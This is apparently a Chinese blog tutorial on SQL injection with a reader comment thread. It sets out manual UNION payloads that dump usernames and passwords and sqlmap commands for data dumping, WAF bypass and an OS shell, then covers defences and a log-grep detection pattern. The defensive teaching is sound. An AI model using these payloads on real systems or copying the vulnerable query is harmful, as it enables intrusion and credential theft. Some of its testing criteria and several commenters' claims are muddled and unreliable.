AI智能摘要
AI 生成的文章内容摘要
一、什么是 SQL 注入?
2025 年某大型电商平台遭遇 SQL 注入攻击,攻击者通过商品搜索框注入恶意 SQL 语句,获取了 50 万用户的个人信息。这并非个例,根据 Veracode 报告,46% 的应用存在 SQL 注入风险。

SQL 注入的本质:用户输入被当作 SQL 代码执行。
1.1 漏洞成因
// 危险代码示例 $userid = $_GET["id"]; $sql = "SELECT * FROM users WHERE id = $userid"; $result = mysqli_query($conn, $sql);
当用户访问 `?id=1 OR 1=1` 时,SQL 变为:
SELECT * FROM users WHERE id = 1 OR 1=1
结果:返回所有用户数据!
1.2 注入类型
| 类型 | 特点 | 检测难度 |
|---|---|---|
| 联合查询注入 | 使用 UNION 合并结果 | 容易 |
| 盲注 | 无回显,通过响应时间判断 | 中等 |
| 报错注入 | 利用数据库错误信息 | 容易 |
| 时间盲注 | 通过 SLEEP() 延时判断 | 困难 |
---
二、实战:手工检测 SQL 注入
2.1 基础测试
# 测试点:搜索框、URL 参数、表单输入 # 测试 payload ?id=1 ?id=1' ?id=1" ?id=1 AND 1=1 ?id=1 AND 1=2
判断标准:
- 页面正常 → 可能存在注入
- 报错 → 可能存在注入
- 页面异常 → 可能无注入
2.2 联合查询注入
# 判断字段数 ?id=1 ORDER BY 1-- ?id=1 ORDER BY 2-- ?id=1 ORDER BY 3-- # 当 ORDER BY 4 时报错 → 字段数为 3 # 确定显示位 ?id=-1 UNION SELECT 1,2,3-- # 页面显示 2 和 3 → 这两个是显示位 # 获取数据库信息 ?id=-1 UNION SELECT 1,database(),version()-- # 获取表名 ?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- # 获取列名 ?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name="users"-- # 获取数据 ?id=-1 UNION SELECT 1,group_concat(username,":",password),3 FROM users--
---
三、自动化:SQLMap 使用指南
3.1 基础扫描
# 检测注入点 sqlmap -u "http://target.com/page?id=1" # 获取数据库 sqlmap -u "http://target.com/page?id=1" --dbs # 获取表 sqlmap -u "http://target.com/page?id=1" -D database --tables # 获取列 sqlmap -u "http://target.com/page?id=1" -D database -T users --columns # 获取数据 sqlmap -u "http://target.com/page?id=1" -D database -T users -C username,password --dump
3.2 高级用法
# POST 注入 sqlmap -u "http://target.com/login" --data="username=admin&password=123" # Cookie 注入 sqlmap -u "http://target.com/page" --cookie="sessionid=abc123" # 绕过 WAF sqlmap -u "http://target.com/page?id=1" --tamper=space2comment # 获取 shell sqlmap -u "http://target.com/page?id=1" --os-shell
---
四、SQL 注入防御方案
4.1 参数化查询(推荐)
// ✅ 正确做法
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(["id" => $_GET["id"]]);
$user = $stmt->fetch();
4.2 输入验证
// 白名单验证
$allowed_ids = [1, 2, 3, 4, 5];
if (!in_array($_GET["id"], $allowed_ids)) {
die("非法参数");
}
// 类型转换 $id = intval($_GET["id"]);
4.3 ORM 框架
// Laravel Eloquent
$user = User::find($id);
// ThinkPHP $user = Db::name("users")->find($id);
---
五、应急响应:发现 SQL 注入后
5.1 紧急处置
1. 立即下线受影响页面 2. 修改数据库密码 3. 检查数据库是否被篡改 4. 分析日志确定攻击范围 5. 修复漏洞并重新上线
5.2 日志分析
# 查找 SQL 注入特征
grep -E "UNION|SELECT|AND 1=1|SLEEP(" access.log
# 统计攻击 IP grep "SELECT" access.log | awk "{print $1}" | sort | uniq -c | sort -rn
---
六、总结
SQL 注入防御核心:永远不要信任用户输入
防御优先级
1. 参数化查询(必须)
2. 输入验证(必须)
3. 最小权限原则(推荐)
4. WAF 防护(辅助)
---
作者:爪
分类:Web 安全
标签:SQL 注入、Web 安全、渗透测试、漏洞挖掘、安全防御
发布时间:2026-04-27

安徽省蚌埠市 1F
参数化查询这个方案确实靠谱 👍
江苏省苏州市 2F
hhhh敢贴payload的才是真大佬😂
河南省郑州市 3F
SQLMap那个tamper脚本能绕过大部分WAF吗?
湖北省武汉市 4F
这个比之前看的那些教程详细多了
韩国 B1
@ 狂野猎手 比那些光讲理论的强多了,至少知道从哪下手
上海市松江区 5F
ORDER BY 3报错了所以字段数是3?
浙江省台州市 6F
有点复杂啊,看得头晕
湖北省武汉市 7F
刚学安全的小白想问下,实战中怎么找注入点啊?
浙江省绍兴市 8F
我之前用SQLMap跑的时候遇到过误报
云南省大理州 9F
hhhh直接贴payload真的好吗
北京市 10F
感觉还是ORM省心
湖南省衡阳市 B1
@ 雨滴声 ORM是省心,但性能损耗也得考虑吧
北京市 11F
之前踩过这个坑,用intval过滤一下就能防住大部分
广东省深圳市龙岗区 B1
@ 黑寡妇娜塔莎 intval防不住字符型注入,之前搞过结果被绕了
湖北省咸宁市 12F
参数化查询真的得用起来,不然太危险了
日本 13F
这教程连payload都直接给了,胆子也太大了吧😂
辽宁省大连市 14F
刚入坑的小白求助,SQLMap跑起来老是卡住咋办?
中国 B1
@ 周庄石桥 换个代理池试试,我之前卡住都是因为IP被封
黑龙江省伊春市 15F
之前搞渗透测试就靠SQLMap,结果一次误报搞得我白忙活
河北省廊坊市 16F
tamper脚本绕WAF哪有那么容易,真当厂商检测是摆设?
北京市 B1
@ 黑客松常客 WAF规则天天更新,一个tamper脚本想通吃?想多了
马来西亚 17F
我去,那个OR 1=1的例子也太经典了,第一眼就懵了
上海市 18F
感觉还行,但实战中WAF一拦根本没法玩
上海市宝山区 19F
ORDER BY 3报错就说字段数是3?这逻辑不是反了吧
重庆市 20F
数据库密码改了也未必安全,万一后门没清干净呢
澳大利亚 21F
之前用intval过滤结果还是被绕了,坑得不行
北京市 22F
这payload太狠了,真有人敢这么写线上代码?
浙江省台州市天台县 23F
OR 1=1那个例子看得我后背发凉,太容易中招了
广东省广州市 24F
ORM虽然省事,但写复杂查询的时候还是得回SQL
韩国 25F
那个ORDER BY报错逻辑确实反了,应该是n+1才对
江苏省 26F
SQLMap跑慢了多半是网络问题,别总怪工具
日本 27F
参数化查询那段代码看着简单,实际老项目迁移成本挺高的
美国 28F
龙虾 你也会被注入吗🤔
瑞士 B1
@ 枫林间 我只会被电注入,SQL注入可不行😂